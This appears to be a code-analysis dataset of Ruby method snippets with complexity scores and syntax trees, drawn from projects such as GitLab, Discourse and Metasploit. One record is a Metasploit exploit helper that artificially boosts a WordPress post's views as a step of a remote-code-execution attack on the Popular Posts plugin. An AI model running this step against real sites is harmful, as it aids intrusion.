{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/default_hourly_rate.rb","start_line":35,"raw_source":"def next(reference_date = valid_from)\n    DefaultHourlyRate\n      .where([\"user_id = ? and valid_from > ?\", user_id, reference_date])\n      .order(Arel.sql(\"valid_from ASC\"))\n      .first\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"next\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"reference_date\",{\"type\":\"send\",\"children\":[null,\"valid_from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DefaultHourlyRate\"]},\"where\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user_id = ? and valid_from > ?\"]},{\"type\":\"send\",\"children\":[null,\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"reference_date\"]}]}]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"valid_from ASC\"]}]}]},\"first\"]}]}","id":"e01b4691-af14-4080-b684-dda2f8f3a32b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/internal_id.rb","start_line":168,"raw_source":"def create_record!(subject, scope, usage, value)\n      scope[:project].save! if scope[:project] && !scope[:project].persisted?\n      scope[:namespace].save! if scope[:namespace] && !scope[:namespace].persisted?\n\n      attributes = {\n        project_id: scope[:project]&.id || scope[:project_id],\n        namespace_id: scope[:namespace]&.id || scope[:namespace_id],\n        usage: usage_value,\n        last_value: value\n      }\n\n      result = InternalId.insert(attributes)\n\n      raise RecordAlreadyExists if result.empty?\n\n      value\n    end","complexity_score":35.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_record!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subject\"]},{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"arg\",\"children\":[\"usage\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"persisted?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"save!\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},\"persisted?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},\"save!\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"usage\"]},{\"type\":\"send\",\"children\":[null,\"usage_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InternalId\"]},\"insert\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"RecordAlreadyExists\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"159bed30-ce6f-4d2a-aff0-1573d3041c34"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_synced_epic_work_item_parent_links.rb","start_line":39,"raw_source":"def missing_work_item_parent_links(sub_batch)\n        missing_parent_links = EpicIssues\n            .select('issues.id as issue_id', 'epics.issue_id as work_item_parent_id, epic_issues.relative_position')\n            .joins(\"JOIN issues ON (issues.id = epic_issues.issue_id)\")\n            .joins('JOIN epics ON (epic_issues.epic_id = epics.id)')\n            .joins(\"LEFT JOIN work_item_parent_links ON (epic_issues.issue_id = work_item_parent_links.work_item_id)\")\n            .where(epic_id: sub_batch.select(:id))\n            .where(work_item_parent_links: { id: nil })\n\n        missing_parent_links.map do |record|\n          {\n            work_item_parent_id: record.work_item_parent_id,\n            work_item_id: record.issue_id,\n            relative_position: record.relative_position\n          }\n        end\n      end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"missing_work_item_parent_links\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missing_parent_links\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EpicIssues\"]},\"select\",{\"type\":\"str\",\"children\":[\"issues.id as issue_id\"]},{\"type\":\"str\",\"children\":[\"epics.issue_id as work_item_parent_id, epic_issues.relative_position\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"JOIN issues ON (issues.id = epic_issues.issue_id)\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"JOIN epics ON (epic_issues.epic_id = epics.id)\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"LEFT JOIN work_item_parent_links ON (epic_issues.issue_id = work_item_parent_links.work_item_id)\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"epic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_batch\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_parent_links\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing_parent_links\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_parent_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"work_item_parent_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"issue_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"relative_position\"]}]}]}]}]}]}","id":"9e3b1919-7409-45ea-b674-0abc2ae1b44f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_yaml_parsing.rb","start_line":74,"raw_source":"def enabled_yaml_parser?\n    matches = tracker.find_call(target: :'ActionController::Base.param_parsers', method: :[]=)\n\n    mime_yaml = s(:colon2, s(:const, :Mime), :YAML)\n\n    matches.each do |result|\n      if result[:call].first_arg == mime_yaml and\n        symbol? result[:call].second_arg and\n        result[:call].second_arg.value == :yaml\n\n        return true\n      end\n    end\n\n    false\n  end","complexity_score":26.9,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled_yaml_parser?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matches\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"sym\",\"children\":[\"ActionController::Base.param_parsers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"[]=\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mime_yaml\",{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"colon2\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"Mime\"]}]},{\"type\":\"sym\",\"children\":[\"YAML\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matches\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"first_arg\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"mime_yaml\"]}]},{\"type\":\"send\",\"children\":[null,\"symbol?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"second_arg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"second_arg\"]},\"value\"]},\"==\",{\"type\":\"sym\",\"children\":[\"yaml\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"79d99b04-4bd0-4e7d-8bf0-1bce19a431d3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_policy.rb","start_line":114,"raw_source":"def display_name\n    \"#{towhat.constantize.display_name} #{mode.capitalize}: #{description}\"\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"display_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"towhat\"]},\"constantize\"]},\"display_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mode\"]},\"capitalize\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]}]}]}","id":"7b698477-f8c5-4661-96e6-f54a6f81ab2e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_action_notifier.rb","start_line":162,"raw_source":"def self.notification_is_disabled?(post_revision)\n    modifications = post_revision.modifications\n    (\n      SiteSetting.disable_system_edit_notifications &&\n        post_revision.user_id == Discourse::SYSTEM_USER_ID\n    ) ||\n      (\n        SiteSetting.disable_category_edit_notifications &&\n          modifications&.dig(\"category_id\").present?\n      ) || (SiteSetting.disable_tags_edit_notifications && modifications&.dig(\"tags\").present?)\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"notification_is_disabled?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_revision\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"modifications\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_revision\"]},\"modifications\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"disable_system_edit_notifications\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_revision\"]},\"user_id\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"disable_category_edit_notifications\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modifications\"]},\"dig\",{\"type\":\"str\",\"children\":[\"category_id\"]}]},\"present?\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"disable_tags_edit_notifications\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modifications\"]},\"dig\",{\"type\":\"str\",\"children\":[\"tags\"]}]},\"present?\"]}]}]}]}]}]}","id":"e48164a2-4141-44d2-a52a-9f07faacd920"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":192,"raw_source":"def self.tags_changed_raw(added:, removed:)\n    if removed.present? && added.present?\n      I18n.t(\n        \"topic_tag_changed.added_and_removed\",\n        added: tag_list_to_raw(added),\n        removed: tag_list_to_raw(removed),\n      )\n    elsif added.present?\n      I18n.t(\"topic_tag_changed.added\", added: tag_list_to_raw(added))\n    elsif removed.present?\n      I18n.t(\"topic_tag_changed.removed\", removed: tag_list_to_raw(removed))\n    end\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tags_changed_raw\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"added\"]},{\"type\":\"kwarg\",\"children\":[\"removed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"topic_tag_changed.added_and_removed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"added\"]},{\"type\":\"send\",\"children\":[null,\"tag_list_to_raw\",{\"type\":\"lvar\",\"children\":[\"added\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"removed\"]},{\"type\":\"send\",\"children\":[null,\"tag_list_to_raw\",{\"type\":\"lvar\",\"children\":[\"removed\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"topic_tag_changed.added\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"added\"]},{\"type\":\"send\",\"children\":[null,\"tag_list_to_raw\",{\"type\":\"lvar\",\"children\":[\"added\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"topic_tag_changed.removed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"removed\"]},{\"type\":\"send\",\"children\":[null,\"tag_list_to_raw\",{\"type\":\"lvar\",\"children\":[\"removed\"]}]}]}]}]},null]}]}]}]}","id":"9475ab87-54a9-49a0-84de-a6c82ce655b2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/holidays/finder/rules/test_in_region.rb","start_line":39,"raw_source":"def test_returns_true_if_request_includes_nonmatching_but_also_any\n    assert_equal(true, @subject.call([:other_sub, :other, :any], @available))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_returns_true_if_request_includes_nonmatching_but_also_any\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subject\"]},\"call\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"other_sub\"]},{\"type\":\"sym\",\"children\":[\"other\"]},{\"type\":\"sym\",\"children\":[\"any\"]}]},{\"type\":\"ivar\",\"children\":[\"@available\"]}]}]}]}","id":"3288bd63-1648-4a4c-a4fa-2b834faf0291"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/status/build/common.rb","start_line":20,"raw_source":"def details_path\n            project_job_path(subject.project, subject)\n          end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"details_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"project_job_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"subject\"]}]}]}","id":"0d50602c-30ce-4142-8138-2936c212ec73"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_popular_posts_rce.rb","start_line":309,"raw_source":"def boost_post(cookie, post_id, wp_nonce, post_count)\n    # redirect as needed\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'index.php'),\n      'keep_cookies' => true,\n      'cookie' => cookie,\n      'vars_get' => { 'page_id' => post_id }\n    )\n    fail_with(Failure::Unreachable, 'Site not responding') unless res\n    fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301\n    print_status(\"Sending #{post_count} views to #{res.headers['Location']}\")\n    location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>\n    (1..post_count).each do |_c|\n      res = send_request_cgi!(\n        'uri' => \"/#{location}\",\n        'cookie' => cookie,\n        'keep_cookies' => true\n      )\n      # just send away, who cares about the response\n      fail_with(Failure::Unreachable, 'Site not responding') unless res\n      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200\n      res = send_request_cgi(\n        # this URL varies from the POC on EDB, and is modeled after what the browser does\n        'uri' => normalize_uri(target_uri.path, 'index.php'),\n        'vars_get' => {\n          'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')\n        },\n        'keep_cookies' => true,\n        'method' => 'POST',\n        'cookie' => cookie,\n        'vars_post' => {\n          '_wpnonce' => wp_nonce,\n          'wpp_id' => post_id,\n          'sampling' => 0,\n          'sampling_rate' => 100\n        }\n      )\n      fail_with(Failure::Unreachable, 'Site not responding') unless res\n      fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201\n    end\n    fail_with(Failure::Unreachable, 'Site not responding') unless res\n  end","complexity_score":60.1,"ast_json":"{\"type\":\"def\",\"children\":[\"boost_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]},{\"type\":\"arg\",\"children\":[\"post_id\"]},{\"type\":\"arg\",\"children\":[\"wp_nonce\"]},{\"type\":\"arg\",\"children\":[\"post_count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"page_id\"]},{\"type\":\"lvar\",\"children\":[\"post_id\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Site not responding\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[301]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve page\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_count\"]}]},{\"type\":\"str\",\"children\":[\" views to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"location\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Location\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[-1]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"post_count\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"location\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Site not responding\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Failed to retrieve page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rest_route\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"wordpress-popular-posts\"]},{\"type\":\"str\",\"children\":[\"v1\"]},{\"type\":\"str\",\"children\":[\"popular-posts\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_wpnonce\"]},{\"type\":\"lvar\",\"children\":[\"wp_nonce\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"wpp_id\"]},{\"type\":\"lvar\",\"children\":[\"post_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sampling\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sampling_rate\"]},{\"type\":\"int\",\"children\":[100]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Site not 